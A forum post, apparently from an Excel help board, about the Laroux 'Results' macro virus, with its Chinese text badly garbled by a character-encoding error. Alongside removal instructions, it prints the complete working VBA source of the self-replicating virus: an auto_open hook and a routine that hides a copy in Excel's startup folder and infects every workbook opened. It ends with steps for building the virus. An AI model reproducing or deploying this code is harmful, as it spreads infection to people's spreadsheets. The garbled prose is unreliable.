| 
¡@¼ÊºÙ: ªü¦N             ¡@ÀY»Î:  ¤£®¢¤U°Ý,¤£Â_¾Ç²ß,¤~·|¶i¨B ª©¥D   ©«¤l647 ¥DÃD190 ºëµØ24 ¿n¤À1041 ÂI¦W0  §@·~¨t²Îwindows7 ³nÅ骩¥»Office 2010 ; OOO3.0 ; Google ¾\ŪÅv100 ©Ê§O¨k ¨Ó¦Û¦Ë«n µù¥U®É¶¡2010-5-2 ³Ì«áµn¿ý2022-6-24 
   
 | 
[¤À¨É] EXCEL¥¨¶°¯f¬r®×¨Ò("Results") 
| ¥»©«³Ì«á¥Ñ HUNGCHILIN ©ó 2012-6-8 21:22 ½s¿è 
 2012/6/8¤é¥H«áEXCEL«OÅ@«O±K§Þ¥©©«¤£¦A³]©w¾\ŪÅv
 
 TO ¦U¦ì¹Ù¦ñ:
 Results¯f¬rMacro.Excel.Laroux.cs/X97M.Laroux.DX1
 ³oÓ¤£¬O¯f¬rªº¯f¬r¦b2009¦~©³»P2010¦~ªì¦b ¦U¤j½×¾Â³y¦¨«Ü¦h§xÂZ
 ¤¤ªº¤H¤j³¡¤À³£¬OVBA°ª¤â.¤j®a³£½|ªºn©R
 ¦Ü¤µ½×¾Â¤W¥u·|¸Ñ°£¦ý³£¤@ª½¤£ª¾¹D¨äì²z ¦p¤U³sµ²
 ´N¦b¦¹»¡©ú¤@¤G
 
 ¯f¬r°T®§:
 [«Ø议] 谁¦b·d¡@RESULTS.XLS¡@这个
 [¨D§U] ¦p¦ó删 VBA project (Results.xls) °£这个东¦è?
 [讨论] Results§»¯f¬rªº²M°£¤Î§K¬Ì¤u¨ã
 删°£Results¯f¬rªº¤p东东,¤w测试¦¨¥\
 ¤â¤u删°£RESULT¯f¬rªº¤èªk.
 [¤w¸Ñ决]¤QÉE¤õ«æªº¨Æ±¡¡A¤¤¯f¬r¤F¡C
 
 ¯f¬rµ{§Ç:
 ¤j®a¬ã¨s¤@¤Uresults这个宠¯f¬r
 [¤w¸Ñ决]«ç¤\删°£§»¯f¬r¡I¡Iexcelªí¤¤¬r¡I¡I
 [¤w¸Ñ决]请±Ð¡G这¬q¥N码¬O¤°¤\·N«ä¡H¬O¯f¬r吗¡H
 
 ¨ä¥L¸ÑÄÀ(¥uÁ¿¤@¥b):
 试试这个§K¬Ì¤å¥ó§a:http://www.excelba.com/Soft/Html/143.html
 RESULTS.XLS(Macro.Excel.Laroux.cs恶·Nµ{§Ç)§K¬Ì¤å¥ó说©ú
 §@ªÌ¡Gbengdeng | 来·½¡GExcel§a
 ¤@¡BMacro.Excel.Laroux.cs恶·Nµ{§Ç简¤¶
 ¯f¬r类«¬¡G§»¯f¬r
 ¯f¬r¦æ为¡G
 1. 将¤u§@ªíªº¿E¬¡¨Æ¥ó«ü©w为¡§ck_files¡¨¡C
 2. ¦b Excel ªº启动¥Ø录¤U¥Í¦¨¡§RESULTS.XLS¡¨¤å¥ó¦}隐Âæa¥´开¥H«K调¥Î¨ä¡§ck_files¡¨¨ç数¡C
 3. ¦b¥´开ªºì来¤w¥]§t§»¥N码ªºExcel¤å¥ó时¡A´¡¤J¤@个Results¼Ò块¡C
 
 ¤G¡BMacro.Excel.Laroux.cs恶·Nµ{§Ç§K¬Ì¤å¥ó¨Ï¥Î说©ú
 Macro.Excel.Laroux.cs恶·Nµ{§Ç§K¬Ì¤å¥ó¤U载¦a§}
 http://www.excelba.com/Soft/Html/143.html
 ¤U载Macro.Excel.Laroux.cs恶·Nµ{§Ç§K¬Ì¤å¥ó¦Z,请关闭Excel
 µM¦Z§â§K¬Ì¤å¥óÂÐ盖Excel启动¥Ø录¤å¥ó¤¤ªºRESULTS.XLS
 Excel启动¤å¥ó夹¥Ø录为¡G
 C:\Documents and Settings\当«e¥Î户¦W\Application Data\Microsoft\Excel\XLSTART
 ¨ä¤¤ªº当«e¥Î户¦W为§A当«e电脑ªº¥Î户¦W
 PS¡G¡]¦pªG¥´开¦¹¤å¥ó时启¥Î§»¡A则¤W±ªº¤å¥ó夹¸ô径¤w¦Û动§ó·s¦}«O¦s¡^
 ª`·N:¦¹§K¬Ì¤å¥ó¦W称¤£¯à§ï¦W¡A¥]¬A扩´²¦W.XLS¦b内³£n为¤j写¡X¡X§YRESULTS.XLS
 ¦pªG§A¤£·Q¦A¨Ï¥Î¦¹¤å¥ó,请进¤JExcel启动¤å¥ó夹¤¤删°£¦¹RESULTS.XLS¤å¥ó§Y¥i¡C
 
 ¤T¡B§K¬Ì¤å¥ó´£¥Ü«H®§说©ú
 当¥´开¥]§t¦³Macro.Excel.Laroux.cs恶·Nµ{§Çªº¤å¥ó时
 §K¬Ìµ{§Ç会´£¥Ü¬O§_删°£¡I
 ¦pªG点击¬O则删°£¤å¥ó¤¤ªºMacro.Excel.Laroux.cs恶·Nµ{§Ç¼Ò块¡I
 ¦}´£¥ÜÚÌ认¤å¥ó§¹¾ã©Ê¦Z«O¦s¡I¡I¤Á记n¦Û¤v¤â动«O¦s¡I
 ¦pªG点击§_则没删°£¤å¥ó¤¤ªºMacro.Excel.Laroux.cs恶·Nµ{§Ç¡I
 ±z¥i¥H¦Û¦æ¦bVBA编辑¾¹¤¤删°£results¼Ò块¦Z«O¦s!
 当¥´开¥]§t¦³Macro.Excel.Laroux.cs恶·Nµ{§Ç§K¬Ì¤u§@ªíªº¤å¥ó时
 §K¬Ìµ{§Ç会显¥Ü¦¹¤u§@ªí
 (ª`¡G¦¹¤u§@ªí为Macro.Excel.Laroux.cs恶·Nµ{§Ç运¦æ¦Z从§K¬Ì¤å¥ó¤¤Î`¨î¦}隐Â꺡^
 请ÚÌ认¦¹¤u§@ªí为无¥Î¤u§@ªí¦Z¡A删°£¤u§@ªí¦A«O¦s¡I¡I
 
 ¥|¡B§K¬Ì¤å¥óÉOMacro.Excel.Laroux.cs恶·Nµ{§Ç¥Í¦¨ªºRESULTS.XLS¤å¥óªº区别
 1¡B两ªÌ³£为RESULTS.XLS¡A¦ý§K费¤å¥ó¥´开时¬Ý¨ìªº¬O¨Ï¥Î说©úRESULTS¤u§@ªí
 ¦Ó恶·Nµ{§Ç¥Í¦¨ªºRESULTS.XLS¤å¥ó¥´开时为隐ÂáA§A¥i¥H¦bµ¡¤f/¨ú®ø隐Â䤬ݨì隐Â꺤å¥ó¡C
 2¡B§K¬Ì¤å¥ó¤¤¥]§t¤@个Results¤u§@ªí¡A¤@个Main_Excelba¼Ò块©M¤@个Excelba类¼Ò块
 ¦Ó恶·Nµ{§Ç¥Í¦¨ªºRESULTS.XLS¤å¥ó¥]§t¤@个Sheet1¤u§@ªí©M¤@个Results¼Ò块¡C
 3¡B§K¬Ì¤å¥ó让杀¬r软¥ó¬d杀ªº结ªG为¦w¥þ¤å¥ó
 ¦Ó恶·Nµ{§Ç¥Í¦¨ªºRESULTS.XLS¤å¥ó¬d杀结ªG为¤£¦w¥þ¤å¥ó¡C
 
 ¤¡B§Ö³t§Q¥Î360杀¬rÚÌ认Excel¤å¥ó¬O§_¥]§tMacro.Excel.Laroux.cs恶·Nµ{§Ç
 º¥ý¦b开©l/·j¯Á¤¤¡A«ö条¥ó为  *.xls  ·j¯Á¥X©Ò¦³ªºExcel¤å¥ó
 µM¦Z¦b«öCtrl+A¥þ选这¨Ç¤å¥ó
 ¦A¥k击§Q¥Î¥k键µæ单¤¤ªº¨Ï¥Î 360杀¬r 扫´y¬d¬r
 ¦pªG¦b¬d杀¤¤ªº«Â胁¦W称为¡G恶·Nµ{§Ç(X97M.Laroux.DX1)
 ´N¬O¥]¬A¦³Macro.Excel.Laroux.cs恶·Nµ{§ÇªºExcel¤å¥ó
 µM¦Zª`·N¡I¡I¤£n点开©l处²z
 (¦pªG点¤F开©l处²z360会删°£¾ã个¤å¥ó¥]¬A§A¦³¥Îªº内®e¡I¡I§A¥i¥H¦b360杀¬rªº¤å¥ó¹jÖÃ区«ìÎ`)
 §âExcelªº¦w¥þ级别设©w为¤¤¡A¤@个个¥´开这¨Ç¤å¥ó
 ¦}¦b¥´开¤å¥ó时¡A¸T¥Î§»
 µM¦Z´N¥i¥H«ö§K¬Ì¤å¥ó´£¥Ü¥u删°£恶·Nµ{§Ç¦Ó¤£会删°£ì来¦³¥Îªº内®e¡C
 
 转载请ª`©ú:¥»¤å来¦Û:Excel§a (www.excelba.com) 详细¥X处参¦Ò¡Ghttp://www.excelba.com/Art/Html/351.html
 
 ¦¹ªk¸g´ú¸Õexcel95~2010§¡¥i¥Î2007¥H«áÀɮ׮榡nÂà´«¦¨xlsmÀÉ
 Y¬O§@¦¨¯f¬r·P¬V¡A§Ú·|»s¦¨xlsÀÉ¡AµM«á¥Îª©¥»§P§Oµ{¦¡§PÂ_¡A¨Ï¥Î2007¥H«áª©¥»®É·|¥t¦s¦¨xlsmÀÉ®×
 ³o¼Ë·P¬V®É¦Uª©¥»´N·|³q¥Î
 -----------------------------------------------------------------------------------------------------
 ª`·N¦¹ÀɮסA¦³ÀÉ®×·P¬V©Ê:
 1.°õ¦æ¦¹ªþ¥ó¯f¬r«á¡A½Ð¯S§Oª`·N¨ìApplication.StartupPath ¸ô®|¸ê®Æ§¨²M°£ "RESULTS.XLS"ÀÉ®×
 ¦p¦ó¸Ñ°£¡A½Ð°õ¦æ¤U¦Cµ{§Ç·|¦Û°Ê¶}±Ò¦s©ñ¸ô®|¸ê®Æ§¨:
 Sub StartupPathA()
 '¨Ï¥ÎªÌ¹q¸£¤WMicrosoft Excel ±Ò°Ê¸ê®Æ§¨ªº§¹¾ã¸ô®|¡C
 '³]©w¤Þ¥Î¶µ¥ØMicrosoft Shell Controls And Automation
 On Error GoTo Error1
 Dim mySh As Shell32.Shell
 Set mySh = CreateObject("Shell.Application")
 mySh.Explore Application.StartupPath  '¥ô·Nªº¸ê®Æ§¨
 Set mySh = Nothing  'ª«¥óªºÄÀ©ñ
 Error1: End Sub
 '(EXCEL2003ª©¦b³o¸ô®|¡AC:\Users\HUNGCHILIN\AppData\Roaming\Microsoft\Excel\XLSTART)
 
 2.½Ð°w¹ï¦¹©«¤º®e»PÀɮ׫O±K¡A¬ªº|¤Ó¦h¡A¹ïEXCEL¥@¬É·|³y¦¨²V¶Ã
 3.¦¹Äݯµ§Þ¤¤ªº¯µ§Þ¡A¨S¤Hª¾¹D¡A´N¶X¦¹¦¸¦b¦¹©«§@ºô¸ô¤W²Ä¤@¦¸¥¿¸Ñì²z»¡©ú
 
 ¦¹ÀÉ®×¼Ò²Õ·P¬Vì²z:
 1.§Ú·Q³o¼Ë¤j®a´N·|ª¾¹D¡A²Ä2ÂI³o«h³sµ²n¦p¦óÀ³¥Î¡A
 ¦³¦MÀI¡B²³æ¡Bn³]©wÅv[50]ªºì¦]
 2.[ì³Ð] VBA¦C¥X¤u§@ªí¦WºÙ®É¼Ò²ÕÅܦ¨¤u§@ªí¥BÅã¥Ü«D±`ÁôÂà ¸Ñµª
 
 °õ¦æ®ÄªG:
 1.¨Ï¥Î¦¹ÀÉ ¦¹ÀÉ·|¦Û°Ê¥t¦s "RESULTS.XLS"ÀɮרìApplication.StartupPath ¸ô®|¸ê®Æ§¨
 2.·s¼WÀÉ®×»P¶}±ÒÂÂÀɳ£·|¦Û°Ê²¾´Ó¤J¦¹·P¬V¼Ò²Õ¡AY¤£ª`·N§A©Ò¦³¨Ï¥Î¹LªºEXCELÀɮ׳£·|¨ü·P¬V
 3.¯f¬rµ{¦¡¦p¤U
 -----------------------------------------------------------------------------------------------------
 Sub auto_open()
 Application.OnSheetActivate = "ck_files"
 End Sub
 
 Sub ck_files()
 c$ = Application.StartupPath
 m$ = Dir(c$ & "\" & "RESULTS.XLS")
 If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
 whichfile = p + w * 10
 
 Select Case whichfile
 Case 10
 Application.ScreenUpdating = False
 n4$ = ActiveWorkbook.Name
 Sheets("results").Visible = True
 Sheets("results").Select
 Sheets("results").Copy
 With ActiveWorkbook
 .Title = ""
 .Subject = ""
 .Author = ""
 .Keywords = ""
 .Comments = ""
 End With
 newname$ = ActiveWorkbook.Name
 c4$ = CurDir()
 ChDir Application.StartupPath
 ActiveWindow.Visible = False
 Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
 , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
 False, CreateBackup:=False
 ChDir c4$
 Workbooks(n4$).Sheets("results").Visible = False
 Application.OnSheetActivate = ""
 Application.ScreenUpdating = True
 Application.OnSheetActivate = "RESULTS.XLS!ck_files"
 Case 1
 Application.ScreenUpdating = False
 n4$ = ActiveWorkbook.Name
 p4$ = ActiveWorkbook.Path
 s$ = Workbooks(n4$).Sheets(1).Name
 If s$ <> "results" Then
 Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
 Workbooks(n4$).Sheets("results").Visible = False
 Else
 End If
 Application.OnSheetActivate = ""
 Application.ScreenUpdating = True
 Application.OnSheetActivate = "RESULTS.XLS!ck_files"
 Case Else
 End Select
 End Sub
 -----------------------------------------------------------------------------------------------------
 P.S.
 ¯f¬r§@ªk¨BÆJ:
 1.±N¤Wzµ{¦¡½XCOPY¨ì EXCEL ¼Ò²Õ¤¤
 2.±N¼Ò²Õ¦WºÙ§ï¬° results
 3.[ì³Ð] VBA¦C¥X¤u§@ªí¦WºÙ®É¼Ò²ÕÅܦ¨¤u§@ªí¥BÅã¥Ü«D±`ÁôÂà ¸Ñµª
 §Y¥i§¹¦¨
 | 
 |